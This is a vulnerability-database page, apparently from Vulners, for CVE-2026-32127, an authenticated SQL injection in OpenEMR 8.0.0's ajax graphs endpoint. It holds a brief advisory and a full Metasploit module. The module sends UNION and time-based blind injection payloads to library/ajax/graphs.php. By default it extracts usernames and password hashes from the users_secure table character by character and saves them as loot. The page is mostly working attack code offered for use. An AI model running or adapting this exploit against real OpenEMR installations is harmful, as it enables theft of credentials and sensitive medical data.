| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-32127 | 11 Mar 202620:53 | – | attackerkb | |
| CVE-2026-32127 | 13 Mar 202600:00 | – | circl | |
| OpenEMR SQL注入漏洞 | 11 Mar 202600:00 | – | cnnvd | |
| CVE-2026-32127 | 11 Mar 202620:53 | – | cve | |
| CVE-2026-32127 SQL Injection Vulnerability in ajax graphs library (OpenEMR) | 11 Mar 202620:53 | – | cvelist | |
| EUVD-2026-11401 | 11 Mar 202620:53 | – | euvd | |
| CVE-2026-32127 | 11 Mar 202621:16 | – | nvd | |
| CVE-2026-32127 SQL Injection Vulnerability in ajax graphs library (OpenEMR) | 11 Mar 202620:53 | – | osv | |
| PT-2026-24848 | 11 Mar 202600:00 | – | ptsecurity | |
| CVE-2026-32127 | 26 Mar 202615:02 | – | redhatcve |
======================================================================================================================
| # Title : OpenEMR 8.0.0 Authenticated SQL Injection via name Parameter in ajax/graphs.php |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.open-emr.org/ |
======================================================================================================================
[+] Summary : A SQL injection vulnerability exists in OpenEMR version 8.0.0 within the ajax graphs library. The issue arises due to improper sanitization of the `name` parameter in the `library/ajax/graphs.php` endpoint,
where user-controlled input is directly embedded into SQL queries.
An authenticated attacker can exploit this vulnerability to execute arbitrary SQL statements, allowing extraction of sensitive information such as user credentials from the backend database.
The flaw supports boolean-based, union-based, and time-based blind SQL injection techniques.
Successful exploitation requires a valid session cookie and CSRF token.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::SQLi
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenEMR 8.0.0 SQL Injection Vulnerability',
'Description' => %q{
This module exploits a SQL injection vulnerability in OpenEMR 8.0.0.
The vulnerability exists in the ajax graphs library where user-supplied
input in the 'name' parameter is directly concatenated into SQL queries
without proper sanitization.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-32127'],
['URL', 'https://www.open-emr.org/'],
['CWE', '89']
],
'DisclosureDate' => '2026-03-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to OpenEMR', '/openemr/']),
OptString.new('COOKIE', [true, 'Valid OpenEMR session cookie', '']),
OptString.new('CSRF_TOKEN', [true, 'CSRF token for the session', '']),
OptString.new('TABLE', [true, 'Table to extract data from', 'users_secure']),
OptString.new('COLUMNS', [true, 'Columns to extract', 'username,password'])
])
register_advanced_options([
OptInt.new('SLEEP_TIME', [true, 'Time in seconds for time-based injection', 1])
])
end
def run
unless session_cookie_valid?
fail_with(Failure::NoAccess, 'Invalid or missing session cookie')
end
print_status("Exploiting SQL injection in OpenEMR 8.0.0")
sqli = create_sqli
unless sqli
fail_with(Failure::Unknown, 'Failed to initialize SQLi object')
end
print_good("SQLi object initialized")
table = datastore['TABLE']
columns = datastore['COLUMNS'].split(',').map(&:strip)
columns.each do |column|
extract_column_data(sqli, table, column)
end
end
def session_cookie_valid?
cookie = datastore['COOKIE']
return false if cookie.nil? || cookie.empty?
true
end
def create_sqli
create_sqli(dbms: MySQLi) do |payload|
injection = "date, #{payload} FROM (SELECT 1 AS field_value) AS ld "
injection << "JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 "
injection << "UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 "
injection << "UNION ALL SELECT ld.field_value AS date"
encoded_injection = Rex::Text.uri_encode(injection)
post_data = {
'csrf_token_form' => datastore['CSRF_TOKEN'],
'name' => encoded_injection,
'table' => datastore['TABLE'] || 'LBF'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'library/ajax/graphs.php'),
'cookie' => datastore['COOKIE'],
'vars_post' => post_data
})
return nil unless res && res.body
return nil if res.body.include?('SQL Statement failed')
res
end
end
def extract_column_data(sqli, table, column)
print_status("Extracting data from #{table}.#{column}")
row_count = sqli.run_sql("SELECT COUNT(*) FROM #{table}")
row_count = row_count && row_count[0] ? row_count[0].to_s.to_i : 1
print_status("Found #{row_count} row(s) in #{table}")
row_count.times do |row_idx|
print_status("Extracting #{table}.#{column} (row #{row_idx + 1})")
length_payload = "SELECT LENGTH(#{column}) FROM #{table} LIMIT #{row_idx},1"
length_result = sqli.run_sql(length_payload)
string_length = length_result && length_result[0] ? length_result[0].to_s.to_i : 0
if string_length == 0
print_status("Fallback to time-based extraction")
extracted = time_based_extraction(sqli, table, column, row_idx)
print_good("Extracted (time-based): #{extracted}")
next
end
print_status("String length: #{string_length}")
extracted = ''
(0...string_length).each do |pos|
low = 32
high = 126
while low <= high
mid = (low + high) / 2
test_payload = "SELECT ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) > #{mid} FROM #{table} LIMIT #{row_idx},1"
result = sqli.run_sql(test_payload)
if result && result[0].to_i == 1
low = mid + 1
else
high = mid - 1
end
end
char_ascii = high
char = char_ascii.chr
extracted << char
print_status("Character #{pos + 1}: #{char} (ASCII: #{char_ascii})")
end
print_good("Extracted #{table}.#{column}: #{extracted}")
store_loot(
'openemr.sql.extracted',
'text/plain',
rhost,
"#{table}.#{column}: #{extracted}",
"openemr_#{table}_#{column}.txt",
"Extracted data"
)
@vuln_reported ||= false
unless @vuln_reported
report_vuln(
host: rhost,
port: rport,
name: 'OpenEMR SQL Injection',
refs: references
)
@vuln_reported = true
end
end
end
def time_based_extraction(sqli, table, column, row_idx)
print_status("Using time-based extraction")
length = 0
(1..100).each do |i|
test_payload = "SELECT IF(LENGTH(#{column}) >= #{i}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1"
start_time = Time.now
sqli.run_sql(test_payload)
elapsed = Time.now - start_time
if elapsed >= datastore['SLEEP_TIME']
length = i
else
break
end
end
extracted = ''
(0...length).each do |pos|
low = 32
high = 126
while low <= high
mid = (low + high) / 2
test_payload = "SELECT IF(ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) >= #{mid}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1"
start_time = Time.now
sqli.run_sql(test_payload)
elapsed = Time.now - start_time
if elapsed >= datastore['SLEEP_TIME']
low = mid + 1
else
high = mid - 1
end
end
char_value = high
extracted << char_value.chr
end
extracted
end
def run_host(_ip)
run
rescue Rex::ConnectionError => e
print_error("Connection failed: #{e.message}")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation